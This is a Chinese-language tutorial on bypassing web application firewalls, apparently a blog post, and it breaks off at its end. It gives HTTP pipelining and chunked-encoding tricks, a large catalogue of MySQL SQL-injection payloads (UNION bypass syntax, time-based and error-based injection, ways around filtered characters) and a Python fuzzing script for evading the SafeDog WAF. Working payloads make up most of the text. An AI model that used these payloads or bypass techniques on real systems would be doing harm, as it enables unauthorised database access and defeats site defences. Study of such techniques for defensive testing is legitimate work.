0x01 http协议层面绕过waf
此部分参考在HTTP协议层面绕过WAF、利用分块传输吊打所有WAF
http管道化pipeline
http管道化允许多个http请求通过一个套接字同时被输出 ,而不用等待相应的响应。然后请求者就会等待各自的响应,这些响应是按照之前请求的顺序依次到达。因为多个请求可被同时传送,如果waf只检测第一个请求,而忽略后面的请求,便可被绕过。
下面介绍通过burpsuite同时发送多个请求
首先关闭Update Content-Length
然后修改Connection
字段值为keep-alive
,将多个请求包在数据段后面拼接即可,前面的数据包通过设置Content-Length
字段,只会读取到指定的位置,剩下的数据将作为第二个请求。
可以看到服务端返回了两个Response,但第二个带有and关键字被安全狗拦截,说明该方法无法绕过安全狗,但不排除绕过其他waf的可能。1
2补充:
在进行环境测试时,发现php版本为`nts`时,服务端只会返回一个响应,原因未知。建议大家在遇到这种情况时可以更换`thread safe`版本
http分块传输
通过在数据包中添加Transfer-Encoding: chunked
,标示报文采用分块编码。此时会忽略Content-Length
字段设置。
此时数据部分为一系列分块,每个分块包含十六进制的长度值和数据,长度值与数据各占一行。最后用0
标志分块结束并且最后紧跟两个换行。
可以看到该方法将关键字分块传输绕过了waf。
但是Imperva、360等WAF已经对Transfer-Encoding的分块传输做了处理,将分块组合成完整数据包进行分析,导致关键字被拦截。
此时可以通过在分块传输的长度标识后面添加;
作为注释,随机添加注释内容,便可使waf无法识别。
另外对于加载在中间件上的插件ModSecurity
,因为其不会解析http数据包内容,因此基于ModSecurity
的waf产品用上述方法便无法绕过。
但是可以通过发送畸形的分块数据包,即使分块数据块出错,例如长度值与数据不符等,将攻击语句添加在url中。此时apache会因为畸形分块数据包而报错,导致ModSecurity
不会处理错误的数据包,而apache强大的容错能力继续执行了可以解析的部分。
http协议未覆盖
http头中Content-Type
字段一般可以设置三种参数提交形方式:application/x-www-form-urlencoded
,multipart/form-data
,text/plain
。
当waf未能覆盖multipart/form-data
提交方式时,或者waf认为其为文件上传请求,从而只检测文件上传,导致waf被绕过。
http字符集编码
在Content-Type
中可以使用charset
定义字符集,如果基于规则引擎的waf未对相应字符集进行处理,则可以被绕过
burpsuite修改charset
可自动encode。
0x02 数据库层面绕过waf
此部分参考WAF Bypass数据库特性(Mysql探索篇)
以Mysql
数据库为例分析
例句形式常见有5个位置即:SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin
通用空格替换符
- 注释符
/**/
/*!00000union*/
- 空白符
%09
,%0a
,%0b
,%0c
,%0d
以上注释和空白符可用于所有位置位置一 union之前
- 浮点数
1.0union
1.union
等形式 - 科学计数法
1E0union
- 浮点数特殊形式
%1.union
%2.union
%1%2eunion
- \N形式
\Nunion
位置二 union和select之间
()
包裹select语句位置三 select之后
- 特殊字符
!
+
-
@
~
上面字符除@
外,可单个或随机自由数量组合使用 如select!~!!!-+~@1,2,3
- 引号
select"1",2,3
- \N形式
select\N,2,3
- 花括号形式
select{x 1},2,3
位置四 from之前
- 浮点数
select 1,2,3.0from
或3.from
- 科学计数法
select 1,2,3E0from
- 浮点数特殊形式
%1.from
%2.from
%1%2efrom
- \N形式
select 1,2,\Nfrom
- 带括号的函数 如
select 1,2,user()from
破浪号
1
select 1,2,3`from
破浪号后加任意字符串
1
select 1,2,3`booglefrom
花括号形式
select 1,2,{x 3}from
位置五 from之后
破浪号
1
select 1,2,3 from`user
破浪号包裹
1
select 1,2,3 from`user`
括号
()
包裹select 1,2,3 from(user)
- 花括号形式
select 1,2,3 from{x user}
- 查询同一个表的情况下,可以加任意数字字母
select * from user where id = -1 union select 1,user(),3 fromboogle123user
等价函数
字符串截取函数
1
2
3
4
5
6
7
8
9
10
11
12
13Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))字符串连接函数
1
2
3concat(version(),'|',user());
concat_ws('|',1,2,3)延时注入相关函数
1
2
3
4
5
6
7
8(1) sleep(5)
select * from user where id = 1 and if(left(database(),1)='g',sleep(5),1)
(2) benchmark(count,expr)
select * from user where id = 1 and if(left(database(),1)='t',(select benchmark(10000000,md5('boogle'))),1)
(3) 计算笛卡尔积
select * from user where id = 1 and if(left(database(),1)='t',(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)
(4) 正则bug(受mysql版本影响,部分不可行)
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b')报错函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31(1) 通过floor报错,注入语句如下:
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
(2) 通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
(3) 通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错,注入语句如下:
and exists(select * from (select * from(select name_const(version(),0))a join (select name_const(version(),0))b)c);
(5) 通过join报错爆字段,注入语句如下:(在知道数据库跟表名的情况下使用才可以爆字段)
select * from (select * from 表名 a join 表名 b) c)
然后得到字段
如果想在爆下一个字段 就得加上using (已知的字段)
在下一个字段
如果想在爆下一个字段 就得加上using (已知的字段,已知的字段 )
select * from (select * from 表名 a join 表名 b using (已知的字段,已知的字段 ) ) c)
(6) 通过exp报错,注入语句如下:
and exp(~(select * from (select user() ) a) );
(7) 通过GeometryCollection()报错,注入语句如下:
and geometrycollection((select * from(select * from(select user())a)b));
(8) 通过polygon ()报错,注入语句如下:
and polygon((select * from(select * from(select user())a)b));
(9) 通过multipoint ()报错,注入语句如下:
and multipoint((select * from(select * from(select user())a)b));
(10) 通过multilinestring()报错,注入语句如下:
and multilinestring((select * from(select * from(select user())a)b));
(11) 通过multipolygon()报错,注入语句如下:
and multipolygon((select * from(select * from(select user())a)b));
(12) 通过linestring ()报错,注入语句如下:
and multilinestring((select * from(select * from(select user())a)b));过滤特殊字符
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15(1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
(3)union处的逗号: 通过join拼接。
SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
(4)操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。
0x03 绕过安全狗
测试狗狗为最新版
经测试,狗狗拦截点为union select之间和from之后
from之后可以使用破浪号或者花括号形式绕过,而union select可以使用注释符/**/
方法,但是单纯的注释符会触发狗狗的拦截规则,这里对其填充字符进行fuzz1
2
3
4
5
6
7
8
9
10
11
12
13
14import requests
burp0_url = "http://127.0.0.1:80/test.php?id=-1 union/*%{0}%{1}*/select 1,password,3 from`user`"
burp0_cookies = {"ECS[visit_times]": "9", "__atuvc": "2%7C6", "safedog-flow-item": "83B003D84BC326490BB46CB86446460A"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
for i in range(0,128):
for x in range(0,100):
a=burp0_url.format(str(hex(i))[2:],str(hex(x))[2:])
req = requests.get(a,headers=burp0_headers,cookies=burp0_cookies)
if 'dc647eb65e6711e155375218212b3964' in req.text:
print '[+]'+a
print '[+]'+'%'+str(hex(i))[2:]+'%'+str(hex(x))[2:]+' '+chr(i)+' '+chr(x)
以下姿势均可以绕过